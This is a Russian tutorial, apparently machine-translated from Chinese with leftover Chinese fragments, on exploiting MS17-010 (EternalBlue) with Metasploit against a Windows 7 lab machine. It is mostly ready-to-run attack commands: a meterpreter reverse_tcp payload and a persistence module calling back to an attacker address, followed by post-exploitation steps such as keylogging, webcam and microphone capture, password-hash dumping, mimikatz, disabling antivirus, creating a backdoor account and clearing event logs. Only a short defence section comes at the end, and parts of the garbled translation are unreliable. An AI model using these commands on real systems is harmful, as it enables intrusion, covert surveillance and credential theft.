1. Введение в Metasploit:
Metasploit — это платформа уязвимостей. Его полное название — The Metasploit Framework, или сокращенно MSF. — это бесплатная загружаемая платформа, которая позволяет легко получать, разрабатывать и атаковать уязвимости компьютерного программного обеспечения. Он поставляется с инструментами профессионального уровня для атаки на более чем 2000 известных уязвимостей программного обеспечения.
2. Знакомство с Eternal Blue:
MS17-010, также известная как «EternalBlue», представляет собой уязвимость, нацеленную на протокол блока сообщений сервера (SMB) в операционной системе Microsoft Windows. Эта уязвимость позволяет злоумышленнику удаленно выполнять произвольный код без какого-либо взаимодействия с пользователем, то есть злоумышленник может удаленно управлять уязвимой системой.
Условия использования:
Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012 и Windows Server 2016 и т. д. используют уязвимость протокола SMB (особенно SMBv1), которая требует, чтобы целевая система открыла порт 139 или 445. .
3. Окружающая среда:
Атакующая машина: Kali Linux (встроенный Metasploit), цель: Windows7 Ultimate x64.
MSFОфициальный сайт:https://www.rapid7.com/products/metasploit/download/
4. Процесс использования MS17-010:
1. Запустите nmap Kali и обнаружите открытие порта 455 цели.
2. Запустите команду msf: msfconsole.
3. Процесс использования модуля MS17_010
search ms17_010 Найдите соответствующий модуль лазейки
use 0 Загрузите модуль и используйте модуль атаки с номером 0. «0» также может заменить Имя после номера.
set RHOSTS 192.168.211.129 Установите цели атаки
check Проверьте, существуют ли ms17_010лазейки
set payload windows/x64/meterpreter/reverse_tcp
//Загружаем полезную нагрузку и устанавливаем атакующую нагрузку. Windows означает систему работы целевой машины, x64 означает 64-битную систему,meterpreter — это инструмент в среде Metasploit, используемый в качестве нагрузки атаки после переполнения лазейки,verse_tcp означает инициирование обратного TCP-соединения от целевой машины к атакующей машине, значение по умолчанию порт подключения — 4444, вы можете передать set lport Изменения команд
set LHOST 192.168.211.128 Установить локальный IP
show options Просмотр параметров, связанных с модулем
run Запустите атаку, также можно использовать эксплойт
4. Использование команды Meterpreter:
shell #Получаем разрешения cmd_shell целевого Хозяина
chcp 65001 #Здесь, чтобы избежать искажения символов в целевой Хозяинcmd_shell, установите кодировку символов командной строки целевого Хозяинcmd_shell, 65001 — UTF-8.
Чтобы выйти из оболочки целевой машины вmeterpreter, нам нужно всего лишь ввести: выход
background #Подключаем сеансmeterpreter, который мы получили для работы в фоновом режиме
sessions -l #Просматриваем полученный список сессийmeterpreter_shell, вводим сессии [идентификатор] может ввести соответствующийmeterpreter_shell
==========================================
Заказ иллюстрировать
------- ------------
? Меню помощи
background Поместите текущий сеанс в фоновый режим и запустите его.
bg Алиас для фона Заказ
bgkill Убить фоновый измерительный преобразователь Скрипт
bglist Список запущенных фоновых скриптов
bgrun мобилизоватьmeterpreterСкрипт в качестве фонового потока
channel Отображать сообщения или управлять активными каналами
close закрыть канал
detach Отключить сеанс Meterpreter (для http/https)
disable_unicode_encoding Запрещать unicode Кодирование строк
enable_unicode_encoding давать возможность unicode Кодирование строк
exit прекращение Meterpreter сессия
get_timeouts Получить текущее значение таймаута сессии
guid получатьсессия GUID
help Меню помощи
info показать связанные Post Информация о модуле
irb Открыть интерактив в текущей сессии Ruby shell
load Загрузите один или несколько Meterpreter Расширять
machine_id получать连接到сессиямашины MSF ID
migrate Перенос сервера на другой процесс
pivot Управление сводными прослушивателями
pry Открыто на текущей сессии Pry отладчик
quit прекращение Meterpreter сессия
read Чтение данных из канала
resource Запустить заказ, хранящийся в файле
run выполнить Meterpreter Скрипт或 Post модуль
secure (пере)вести переговоры о сессии TLV Шифрование пакетов
sessions Быстро переключиться на другую сессию
set_timeouts Установите текущее значение тайм-аута сессии
sleep сила Meterpreter Тихий,Затем восстановите сессию
ssl_verify Исправлять SSL Настройки проверки сертификата
transport Управлять транспортными механизмами
use Устаревший псевдоним loadЗаказ
uuid получатьтекущийсессияиз UUID
write Запись данных в канал
==========================================
Stdapi:документсистема Заказ
==========================================
Заказ иллюстрировать
------- ------------
cat Чтение содержимого файла на экране
cd Переключить каталог
checksum Получить контрольную сумму файла
cp Преобразовать исходный код, копировать в целевой
del Удалить указанный файл
dir Список файлов (ls псевдоним)
download Загрузите файл или каталог
edit Редактировать файл
getlwd Распечатать локальный рабочий каталог
getwd Распечатать рабочий каталог
lcd Изменить локальный рабочий каталог
lls Список локальных файлов
lpwd Распечатать локальный рабочий каталог
ls Список файлов
mkdir Сделать каталог
mv Переместить источник в цель
pwd Распечатать рабочий каталог
rm Удалить указанный файл
rmdir удалить каталог
search Поиск файлов
show_mount Список всех точек монтирования/логических дисков
upload Загрузите файл или каталог
==========================================
Stdapi: сетевой заказ
==========================================
Заказ иллюстрировать
------- ------------
arp показывать Хозяин ARP кэш
getproxy Показать текущую конфигурацию прокси
ifconfig интерфейс дисплея
ipconfig интерфейс дисплея
netstat Показать сетевые подключения
portfwd Перенаправить локальный порт на удаленный сервис
resolve Разобрать набор имен Хозяинов на цели
route Просматривать и исправлять таблицы маршрутизации
==========================================
Stdapi:система Заказ
==========================================
Заказ иллюстрировать
------- ------------
clearev Очистить журнал событий
drop_token Отбросьте все активные фиктивные жетоны.
execute выполнить заказ
getenv Получить значение одной или нескольких переменных среды
getpid Получить текущий идентификатор процесса
getprivs пытатьсядавать возможностьтекущийпроцесс可用из所有权限
getid Получить имя пользователя работающего сервера SID
getuid Получить пользователя, под которым работает сервер
kill прекращениепроцесс
localtime Показать локальную дату и время целевой системы
pgrep Фильтровать процесс по названию
pkill 按名称прекращениепроцесс
ps Список запущенных процессов
reboot Перезагрузите удаленный компьютер
reg Исправлять удаленный реестр и взаимодействовать с ним
rev2self Звонок на удаленный компьютер RevertToSelf()
shell вставитьсистема Заказ shell
shutdown Выключите удаленный компьютер
steal_token Попытка украсть токены подражания целевому процессу.
suspend Приостановить или возобновить список процессов
sysinfo Получить информацию об удаленной системе, например об ОС.
==========================================
Stdapi: пользовательский интерфейс
==========================================
Заказ иллюстрировать
------- ------------
enumdesktops Список всех доступных рабочих столов и оконных станций
getdesktop Получить текущий рабочий стол Meterpreter
idletime Возвращает количество секунд бездействия удаленного пользователя
keyboard_send Отправлять нажатия клавиш
keyevent Отправить ключевое событие
keyscan_dump Дамп буфера нажатия клавиш
keyscan_start Начните фиксировать нажатия клавиш
keyscan_stop Прекратите фиксировать нажатия клавиш
mouse Отправлять события мыши
screenshare Просмотр рабочего стола удаленного пользователя в режиме реального времени
screenshot Сделайте снимок экрана интерактивного рабочего стола
setdesktop Изменить текущий рабочий стол Meterpreters
uictl Управление некоторыми компонентами пользовательского интерфейса
==========================================
Stdapi: веб-камера Заказ:
==========================================
Заказ иллюстрировать
------- ------------
record_mic Запись звука с микрофона по умолчанию X Второй
webcam_chat Начать видеочат
webcam_list Список веб-камер
webcam_snap Сделать снимок с указанной веб-камеры
webcam_stream Воспроизвести видеопоток с указанной веб-камеры
==========================================
Stdapi: аудиовыход
==========================================
Заказ иллюстрировать
------- ------------
play Воспроизведите аудиофайл формы сигнала (.wav) на целевой системе.
==========================================
Priv: Повышение привилегий Заказ:
==========================================
Заказ иллюстрировать
------- ------------
getsystem Попробуйте повысить свои разрешения до уровня вашей локальной системы.
==========================================
Priv: база паролей Заказ:
==========================================
Заказ иллюстрировать
------- ------------
hashdump свалка SAM содержимое базы данных
==========================================
Priv:Timestomp Заказ:
==========================================
Заказ иллюстрировать
------- ------------
timestomp Операционные файлы MACE Атрибутеметрпретер >
5. Часто используемые команды в оболочке.
sysinfo #Просмотр целевой информации Хозяинсистемы
run scraper #Просмотреть сведения о целевом хозяине
run hashdump #Экспортируем хеш пароля
load kiwi #loadmimikatz
ps #Просмотреть информацию о целевом Хозяинпроцессе
pwd #Просмотр целевого текущего каталога (Windows)
getlwd #Просмотр целевого текущего каталога (Linux)
search -f *.jsp -d e:\ #Искать все файлы с суффиксом .jsp на диске E
download e:\test.txt /root #Загрузите файл e:\test.txt целевой машины в каталог /root
upload /root/test.txt d:\test #Загрузить /root/test.txt на целевой компьютер d:\test\ в каталоге
getpid #Просмотр текущего Meterpreter ProcessPID оболочки
мигрировать 1384 #Изменяем текущий Meterpreter Процесс Shell перенесен на процесс с PID 1384.
idletime #Просмотреть время работы Хозяина
getuid #Просмотр текущих полученных разрешений
getsystem #Повышайте права только в том случае, если текущий полученный пользователь является администратором.
run killav #Отключите антивирусное программное обеспечение
screenshot #скриншот
webcam_list #Просмотреть целевую камеру Хозяина
webcam_snap #Фотография
webcam_stream #Открыть видео
выполнять параметр -f исполняемый файл #Выполнить исполняемую программу
run getgui -u test1 -p Abc123456 #Создаем пользователя test1 с паролем Abc123456
run getgui -e #Открыть удаленный рабочий стол
keyscan_start #Включить функцию кейлоггера
keyscan_dump #Отображать захваченную информацию о кейлоггерах
keyscan_stop #Остановить функцию кейлогинга
uictl disable keyboard #Запретить цели использовать клавиатуру
uictl enable keyboard #Разрешить цели использовать клавиатуру
uictl disable mouse #Отключить цель от использования мыши
uictl enable mouse #Разрешить цели использовать мышь
load #Использовать библиотеку Расширять
run #Использовать библиотеку Расширятьrun exploit/windows/local/persistence lhost=192.168.230.130 lport=8888 #Он автоматически подключится к порту 8888 с адресом 192.168.230.130. Недостатком является то, что его легко обнаружить антивирусным программным обеспечением.
portfwd add -l 9999 -r 192.168.230.132 -p 3389 #Перенаправьте порт 3389 192.168.11.13 на локальный порт 9999. Здесь 192.168.100.158 — это IP-адрес Хозяина, получившего разрешение.
clearev #Очистить журнал
5. Защитные меры
Закройте порты высокого риска, такие как 445.
Настройте брандмауэр и установите защитное программное обеспечение.
Установить патчи
На этом статья заканчивается. Эта статья представляет собой простое введение в Metasploit. Изучите и изучите дополнительные функции самостоятельно. Я уверен, что вы освоите этот мощный инструмент для тестирования на проникновение. Незаконное сканирование запрещено, и вы будете нести ответственность за последствия.
Откуда в жизни столько удачи? Просто делаешь вид, что не видишь этого, когда другие много работают. усилия!
Ссылка на эту статью:https://cloud.tencent.com/developer/article/2396554
Оригинальная статья Тианле, при перепечатке указывайте источник!